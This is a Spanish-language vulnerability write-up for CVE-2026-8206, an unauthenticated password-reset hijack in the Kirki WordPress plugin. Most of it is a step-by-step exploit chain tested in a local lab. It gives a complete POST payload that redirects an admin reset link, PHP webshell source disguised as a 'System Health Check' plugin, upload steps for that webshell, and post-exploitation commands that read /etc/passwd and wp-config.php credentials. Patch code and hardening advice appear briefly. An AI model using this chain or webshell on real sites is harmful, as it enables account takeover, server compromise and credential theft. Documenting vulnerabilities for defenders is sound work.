
CVE-2026-8206: Kirki Customizer Framework - Toma de control de cuenta no autenticada (CVSS 9.8)
CVSS v3.1 9.8 / 10.0 CRÍTICA
Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE-2026-8206 es una vulnerabilidad de Toma de control de cuenta no autenticada en Kirki Customizer Framework, un popular plugin de constructor de páginas para WordPress con más de 90.000 instalaciones activas. La vulnerabilidad permite a un atacante tomar el control de cualquier cuenta de WordPress (incluida la de administrador) simplemente enviando una única petición HTTP.
El fallo reside en el endpoint de la API REST kirki-forgot-password del módulo ComponentLibrary. Este endpoint permite solicitar el restablecimiento de contraseña de cualquier usuario y envía el enlace de restablecimiento a una dirección de correo electrónico especificada por el atacante, en lugar de al correo registrado del usuario.
| Información | Detalles |
|---|---|
| Plugin | Kirki Customizer Framework (constructor de páginas WordPress) |
| Versiones afectadas | 6.0.0 – 6.0.6 |
| Parcheada | 6.0.7 (o 6.0.12+) |
| Tipo de vulnerabilidad | Toma de control de cuenta no autenticada mediante secuestro del correo de restablecimiento de contraseña |
| Endpoint | /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password (o /wp-json/KirkiComponentLibrary/v1/kirki-forgot-password) |
| CVSS | 9.8 CRÍTICA |
Requisitos previos para la explotación:
→ Todo sitio WordPress con Kirki 6.0.0–6.0.6 instalado es vulnerable por defecto.
Kirki registra endpoints de la API REST para la funcionalidad Component Library, incluyendo login, register, forgot-password y change-password. Todos ellos permiten el acceso de invitados (guest_permissions_check devuelve true).
El nonce de WordPress es un token de protección CSRF. Kirki requiere un nonce mediante la cabecera X-WP-Element-Nonce o comprueba un parámetro nonce en la petición. Sin embargo, el nonce puede generarse/extraerse públicamente desde el lado del cliente.
WordPress utiliza get_password_reset_key() para generar un token de restablecimiento de contraseña. Kirki incluye este token en la plantilla del correo antes de enviarlo.
Archivo: ComponentLibrary/controller/CompLibFormHandler.php
En la versión vulnerable (6.0.0–6.0.6), la función handle_forgot_password() no verifica si el correo proporcionado coincide con el correo registrado del usuario. Un atacante puede especificar el nombre de usuario de la víctima y su propio correo: el enlace de restablecimiento se enviará al correo del atacante.
Código fuente vulnerable:
public function handle_forgot_password( $request ) {
$form_data = $request->get_body_params();
$this->validate_nonce( 'kirki-forgot-password' );
$email = $form_data['email']; // <-- ATTACKER CONTROLLED
$username = $form_data['username'];
$user = get_user_by( 'login', $username );
//BUG: Does NOT check $email === $user->user_email
// Attacker's email is used directly
$key = get_password_reset_key( $user );
$reset_link = "$url?action=rp&key=$key&login=$username";
// SENDS RESET LINK TO ATTACKER'S EMAIL
wp_mail( $email, $subject, $body_with_reset_link );
// ^^^^^
// ATTACKER'S EMAIL, NOT THE USER'S EMAIL
}
El asunto y el cuerpo del correo se reciben del cliente a través de los parámetros emailSubject y emailBody sin ninguna firma HMAC que verifique su integridad. El atacante puede modificar arbitrariamente el contenido del correo que se envía.
// VULNERABLE VERSION: No HMAC verification
$email_subject = $form_data['emailSubject']; // Client-controlled
$email_body = $form_data['emailBody']; // Client-controlled
// No verify_email_template_signature()
// PATCHED VERSION (6.0.7+): HMAC verification / Email matching against DB
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
return new WP_REST_Response( array( 'message' => 'If an account exists...' ), 200 );
}
| Factor | Explicación |
|---|
La explotación de CVE-2026-8206 comienza desde cero acceso — sin cuenta, sin contraseña, sin sesión — hasta la toma de control total del administrador utilizando únicamente peticiones HTTP.
Phase 1: Extract Nonce → Obtain nonce from a public page (if required)
Phase 2: Hijack Reset Email → Send reset link to attacker's email
Phase 3: Reset Password → Change admin password using the obtained reset key
Phase 4: Login Admin → Log in with the new password
Phase 5: Webshell Upload → Install backdoor via plugin upload
Phase 6: RCE → Execute arbitrary commands on the server
Descarga el plugin desde wordpress.org y abre directamente el archivo CompLibFormHandler.php:
// The handle_forgot_password function receives data from the client:
$email_subject = isset( $form_data['emailSubject'] )
? sanitize_text_field( $form_data['emailSubject'] ) : '';
$email_body = isset( $form_data['emailBody'] )
? json_decode( $form_data['emailBody'], true ) : '';
// Email body rendering logic:
foreach ( $email_body as $body_data ) {
if ( $body_data['type'] === 'text' ) {
$email_body = $email_body . $body_data['value'];
} elseif ( $body_data['type'] === 'chip' ) {
$email_body = $email_body . $chip_data[ $body_data['value'] ];
// ^^^^^^^^^^^^^^^^^^^
// $chip_data['reset_link'] = actual reset URL!
}
}
→ La lectura del código revela: emailBody debe ser un array JSON; cada elemento tiene type y value. Si type = chip y value = reset_link, Kirki inserta automáticamente el enlace de restablecimiento en el correo.
Busca directamente dentro del directorio del plugin:
grep -r "emailBody" wp-content/plugins/kirki/assets/js/
grep -r "reset_link" wp-content/plugins/kirki/assets/js/
El código frontend compilado revelará la estructura JSON exacta requerida.
Find endpoint (/wp-json/ or rest_route)
↓
Read PHP source → find $form_data['emailBody']
↓
Understand JSON array format (type / value)
↓
Read chip_data array → find key "reset_link"
↓
Build payload: emailBody=[{"type":"chip","value":"reset_link"}]
↓
Test → success
El atacante envía una petición POST al endpoint de forgot-password con el nombre de usuario de la víctima (admin) y una dirección de correo controlada por el atacante ([email protected]). El servidor genera una clave de restablecimiento para la víctima, pero envía el enlace de restablecimiento a [email protected].
Envío de la petición:
POST /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password HTTP/1.1
Host: localhost:8181
Content-Type: application/x-www-form-urlencoded
username=admin&[email protected]&emailSubject=Password+Reset&emailBody=%5B%7B%22type%22%3A%22text%22%2C%22value%22%3A%22Reset%3A+%22%7D%2C%7B%22type%22%3A%22chip%22%2C%22value%22%3A%22reset_link%22%7D%5D

Respuesta (éxito):

Correo recibido en la bandeja de entrada del atacante (MailHog en http://localhost:8025):
Subject: Password Reset
Click the link below to reset your password:
http://localhost:8181/wp-admin/install.php?action=rp&key=JHr8kQ2mVnXz9pLw&login=admin

El atacante utiliza el token key obtenido del correo para cambiar la contraseña de la cuenta de administrador a través del endpoint kirki-change-password o del formulario predeterminado de WordPress, luego inicia sesión y obtiene el control administrativo total del sitio.

Contraseña cambiada y acceso mediante la cuenta admin.

Acceso exitoso a la cuenta admin.
Tras obtener acceso al Panel de Administración, el atacante escala de Toma de control de cuenta a Ejecución remota de código (RCE) mediante la funcionalidad predeterminada de WordPress de subir plugins.
El atacante crea una webshell PHP disfrazada de plugin legítimo de WordPress:
<?php
/*
Plugin Name: System Health Check
Description: System diagnostics tool
Version: 1.0
Author: WordPress
*/
if (isset($_REQUEST['cmd'])) {
echo '<pre>';
echo htmlspecialchars(shell_exec($_REQUEST['cmd']));
echo '</pre>';
}
Este archivo se comprime en system-health.zip para su subida a través de la interfaz de administración.
El atacante navega a Plugins → Añadir nuevo plugin → Subir plugin, selecciona el archivo system-health.zip y hace clic en Instalar ahora → Activar plugin.

Tras la subida, WordPress extrae automáticamente el archivo .zip en el directorio /wp-content/plugins/ del servidor, dejando la webshell lista para operar.
El atacante accede directamente a la webshell a través del endpoint /wp-content/plugins/webshell-plugin/shell.php


RCE exitoso.
En este punto, el atacante tiene plena capacidad de ejecución de comandos en el servidor con privilegios de www-data. Las acciones posteriores pueden incluir:
Admin Dashboard (Account Takeover)
↓
Upload Plugin containing Webshell (.zip)
↓
WordPress extracts → .php file resides on server
↓
Access shell.php?cmd=<command>
↓
Server executes command → returns result
↓
RCE complete — full www-data privileges on server
| Versión actual | Actualizar a |
|---|---|
| 6.0.0 – 6.0.6 | 6.0.7 o posterior |
// AFTER (patched):
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
return new WP_REST_Response(
array( 'message' => 'If an account exists...' ), 200
);
}
$email = $user_email; // Force use of the user's actual email
Incluso si la cuenta de administrador se ve comprometida, el daño puede mitigarse con las siguientes medidas:
| No se requiere autenticación | guest_permissions_check() devuelve true: cualquiera puede llamar al endpoint |
| Se puede tomar el control de cualquier cuenta | Solo se necesita el nombre de usuario (por defecto: 'admin') — no se requiere correo ni contraseña |
| Impacto: toma de control del administrador | Controlar al administrador → subir webshell → RCE → control total del servidor |
| Amplia distribución | Kirki es un plugin ampliamente integrado en muchos temas de WordPress |
| Comando | Propósito |
|---|
id | Confirmar los privilegios del usuario en ejecución |
whoami | Ver el nombre de usuario actual |
cat /etc/passwd | Leer la lista de usuarios del sistema |
uname -a | Ver información del kernel/SO |
cat wp-config.php | Leer las credenciales de la base de datos |
ls -la / | Explorar todo el sistema de archivos |
| # | Fase | Método | Ruta |
|---|
| 1 | Secuestrar correo de restablecimiento | POST | /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password |
| 2 | Restablecer contraseña | GET | /wp-login.php?action=rp&key=<token>&login=admin |
| 3 | Iniciar sesión como administrador | POST | /wp-login.php |
| 4 | Subir webshell | POST | /wp-admin/update.php?action=upload-plugin |
| 5 | RCE | GET | /wp-content/plugins/webshell-plugin/shell.php?cmd=<command> |
| Medida | Configuración |
|---|
| Bloquear la instalación de plugins/temas desde el panel | Añadir define('DISALLOW_FILE_MODS', true); a wp-config.php |
| Bloquear la edición de código desde el panel | Añadir define('DISALLOW_FILE_EDIT', true); a wp-config.php |
| Restringir permisos del directorio de subidas | chmod 755 para directorios, chmod 644 para archivos |
| WAF (Firewall de aplicaciones web) | Implementar ModSecurity o Cloudflare WAF para bloquear peticiones anómalas a la API REST |
| Monitorización | Supervisar los cambios de archivos en /wp-content/plugins/ con herramientas como OSSEC o Wordfence |